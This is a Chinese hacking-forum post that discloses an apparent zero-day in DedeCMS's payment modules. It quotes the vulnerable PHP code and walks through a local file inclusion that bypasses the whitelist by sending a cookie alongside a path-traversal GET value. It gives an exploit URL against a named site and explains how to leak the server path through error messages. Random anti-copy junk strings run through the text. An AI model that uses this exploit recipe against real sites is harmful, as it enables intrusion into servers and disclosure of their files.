找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2266|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)3 H3 y( V' t7 U) v* T3 d6 n

5 {! o* B/ ]9 h7 r# F. k5 l出现漏洞的两个文件为:
: y- W8 `+ M8 u5 _Include/payment/alipay.php
5 w8 q. L5 D# Y9 RInclude/payment/yeepay.php
- u. Y5 O" O! p' ^3 c9 U; O* j漏洞均出现在respond方法里,估计这两个文件是临时工写的。& X" D! g# Y) b' [  b
: c1 x: O; H) |  v
Include/payment/alipay.php
# J6 b4 c( @, i) q. x% J# B# C' _, @
......, M( R0 d$ o8 L4 P  K3 W/ z0 U( c
   function respond()
6 ^8 U6 @) Z1 ], v    {
/ V. F" l; x, H2 d        if (!empty($_POST))/ i( g. y% H. t$ X3 i
        {! V: a- Y, V$ Z3 b# W& J1 I7 D% I
            foreach($_POST as $key => $data)
/ e1 x7 W/ m' L            {3 P6 E' S; }# C. q' ^% |8 U
                $_GET[$key] = $data;
$ p2 ]6 w; }. V0 k  Z            }/ J1 S$ Z+ O1 t- n* L
        }! P: B% a, {) S
        /* 引入配置文件 */
9 Z- B0 m! _5 L. X8 f" w4 @" ^        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';3 |; [! f- N- p" m6 y8 e( \
......
* g1 {9 m9 F  o3 Y# M) z! ^
" S9 u1 d7 i% Z5 x; W+ R
/ g: L+ G% D" e9 V+ W大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
' k% L: g4 B& x# O: V$ V
7 U* Q3 ]% Y7 X4 f- I" ^Include/payment/yeepay.php
7 C7 d2 p9 _  r: t6 @8 u( T8 _8 _2 ^/ B
' m1 p: \" [- y5 L! w- o* k
" [( {  j  U7 s& J, }
......
: w6 m! f9 v- ?5 k    function respond()$ _3 g/ ]/ w1 b; U, A) I# l9 s
    {/ S7 I& x# }& n  h4 q4 R( F0 P

* R6 S  c* T! \# n6 ?- @        /* 引入配置文件 */, {" a# q. r' E- C! O
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';8 J$ D, l  m  m! [8 I7 Q
* p( b$ a- U2 Q5 z9 q9 z- ^4 v7 t
        $p1_MerId = trim($payment['yp_account']);6 L1 P& n5 ?$ a3 K
        $merchantKey = trim($payment['yp_key']);( R. C- x' R: n0 M, X
...... - M1 U! v0 m0 f3 |) K7 G7 C2 M2 D- y

, r5 _2 i# k+ J; ^/ r8 a# n3 M4 J9 R/ E7 @

# s: J) R- N  b2 j( c$ g2 l* x8 {
+ j" `2 r/ B; V1 u( d0 k' F大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。; F0 e; u7 T/ I: Y0 @' n
. D' E/ w* Z  c) H( `6 T
这两个方法在plus/carbuyaction.php文件调用。
4 A' T! f4 I+ g" P) |
" Z. y9 c1 p& Y: R+ {plus/carbuyaction.php2 h& a. f* `. c: o$ x$ _" z

! C9 }0 i5 y+ q. r2 k# F1 U: q, ^......2 O6 q; b0 R% u: f" R1 h8 O$ n& C
} else if ($dopost == 'return') {, e4 T  H9 d; e! E7 V5 r: n4 S
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
+ @. t- o1 X' h( e6 J! Q5 k+ ?    if (in_array($code, $write_list))  l$ f  ^3 A3 w7 O
    {
8 t' T1 J. z4 Y% A$ a        require_once DEDEINC.'/payment/'.$code.'.php';) |9 d: P$ e, i1 l" s7 w
        $pay = new $code;0 ~1 u' A7 d8 q  E( q& I5 D
        $msg=$pay->respond();
' A( ~1 T$ @1 `) b& D        ShowMsg($msg, "javascript:;", 0, 3000);7 ?2 E( Z0 l9 M, ?- g
        exit();  7 [" u: M5 ?: z4 A
    } else {
9 J1 k) F4 `$ J* P7 O        exit('Error:File Type Can\'t Recognized!');
. M, x& j$ p" p    }* m  L& P+ N5 B5 y
}
: v4 W. t* S% `! G......
* G/ p% R' d/ m; P) b- C ) l: p+ n6 a) W1 c. M- p  m

7 W& o2 q" Q9 g- d+ d& a
. L, I! c4 `$ Q7 P, m, S
$ h8 z# {; h/ R) b% R' I2 D- ] . Y: T% u( n' |* C2 l+ o1 ^; N% s

, K4 l7 ~+ \, c  A大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
; K, [$ ~2 _9 g0 a7 r% z% O所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
. U8 B( e! N' H4 b2 S! T$ h+ m# i0 P  d, S- C: }3 @
回到include/common.inc.php来看看他的机制。
& j/ e$ _5 ^/ e; ?8 r, }( X
' @' u0 _2 w) j+ b# N$ L7 E1 A# q9 h , O0 M0 J2 z  c6 c( o6 S
: V8 O7 }. ^& b% a
......
" h$ w# s! q6 sforeach(Array('_GET','_POST','_COOKIE') as $_request)
' K1 N2 k) ]' Q8 ^5 t{! T2 u5 P! H" R( Q. b4 t2 y
        foreach($$_request as $_k => $_v)
" L9 W2 d- f8 b; k& X        {+ d& ]" }! D; @! y7 {4 H& a, A; f
                if($_k == 'nvarname') ${$_k} = $_v;9 t1 i1 b% u2 u2 c* `3 a2 j3 |$ E
                else ${$_k} = _RunMagicQuotes($_v);! V/ N& J0 \- z; N3 r# f
        }3 ?8 x" c  }6 \/ t- Q( T0 m
}* Z0 _$ }& g/ m
...... : Q1 C& E5 O7 H- K# a- t
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:5 c4 u# _) c  O# h. U5 t" I
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表